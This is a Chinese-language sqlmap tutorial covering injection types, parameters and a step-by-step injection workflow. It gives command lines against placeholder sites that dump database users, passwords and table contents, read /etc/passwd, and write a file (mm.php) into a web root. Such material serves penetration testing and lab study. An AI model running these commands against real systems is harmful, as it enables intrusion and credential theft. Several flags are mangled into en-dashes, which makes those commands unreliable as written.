当前位置: 首页 > 工具软件 > sqlmap > 使用案例 >

sqlmap

卫念
2023-12-01

sqlmap

一.sqlmap支持的五种注入方法

  1. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中

  2. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入

  3. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断

  4. 联合查询注入,可以使用 union 的情况下的注入

  5. 堆查询注入,可以同时执行多条语句的执行时的注入

二.常用参数

–banner:指纹信息

–batch:使用非交互式扫描,SQLMap将不会询问

–passwords 数据库用户所有密码

–dbs:获取数据库列表

–tables:获取所有的数据表

–columns:获取所有字段(列)

–dump:获取行数据

–D:指定数据库

–T:指定数据表

–C:指定字段,用逗号间隔

–user:当前用户

–current-db:当前数据库

–is-dba:是否为DBA(Database Administrator)

–version: 显示版本号

–v :

详细等级(0-6)
0:只显示python错误以及重要信息
1:显示信息以及警告
2:显示debug 消 息
3:显示注入payload
4:显示http请求
5:显示http响应头
6:显示http响应内容

-u 指定目标url
-d 直接连接数据库
-l 从burp代理日志的解析目标
-r 从文件中加载http请求
-g 从google dork 的结果作为目标url
-c 从INI配置文件中加载选项
-A 指定user-agent 开头
-H 额外的header
-method= 指定HTTP方法
-p 指定的参数
-r 从文件读取数据
-forms 自动判断注入
-sqlmap.py-u 登陆的地址
–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
–delay 延迟的时间
–safe-freq 次数
–tables -D “” 列出指定数据库中的表

三.sqlmap基础用法

./sqlmap.py -u “注入地址” -v 1 --dbs // 列举数据库

./sqlmap.py -u “注入地址” -v 1 --current-db // 当前数据库

./sqlmap.py -u “注入地址” -v 1 --users // 列数据库用户

./sqlmap.py -u “注入地址” -v 1 --current-user // 当前用户

./sqlmap.py -u “注入地址” -v 1 --tables -D “数据库” // 据库的表名

./sqlmap.py -u “注入地址” -v 1 --columns -T “表名” -D “数据库” // 获取表的列名

./sqlmap.py -u “注入地址” -v 1 --dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的数据,包含列

四. sqlmap获取目标方式

1. 指定目标url
sqlmap -u “http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1”
2. 从文件中获取多个url
sqlmap -m 1.txt
3. 从文件中加载http请求
sqlmap -r url.txt
4. 利用google获取目标
sqlmap -g “inurl:”.php?id=1""
5. 从burp日志中获取目标
sqlmap -l burp.txt

五.简单注入流程

1.读取数据库版本,当前用户,当前数据库

sqlmap -u http://www.evil0x.com/ test.php?p=2 -f -b –current-user –current-db -v 1

2.判断当前数据库用户权限

sqlmap -u http://www.evil0x.com/ test.php?p=2 –privileges -U 用户名 -v 1

sqlmap -u http://www.evil0x.com/ test.php?p=2 –is-dba -U 用户名 -v 1

3.读取所有数据库用户或指定数据库用户的密码

sqlmap -u http://www.evil0x.com/ test.php?p=2 –users –passwords -v 2

sqlmap -u http://www.evil0x.com/ test.php?p=2 –passwords -U root -v 2

4.获取所有数据库

sqlmap -u http://www.evil0x.com/ test.php?p=2 –dbs -v 2

5.获取指定数据库中的所有表

sqlmap -u http://www.evil0x.com/ test.php?p=2 –tables -D mysql -v 2

6.获取指定数据库名中指定表的字段

sqlmap -u http://www.evil0x.com/ test.php?p=2 –columns -D mysql -T users -v 2

7.获取指定数据库名中指定表中指定字段的数据

sqlmap -u http://www.evil0x.com/ test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2

8.file-read读取web文件

sqlmap -u http://www.evil0x.com/ test.php?p=2 –file-read “/etc/passwd” -v 2

9.file-write写入文件到web

sqlmap -u http://www.evil0x.com/ test.php?p=2 –file-write /localhost/mm.php –file-dest

./sqlmap.py -u “http://www.nxadmin.com/sql-injection.php?id=1” –file-write /test/test.txt –file-dest /var/www/html/1.txt

将本地的test.txt写入到站点服务器的html目录下。

 类似资料:

相关阅读

相关文章

相关问答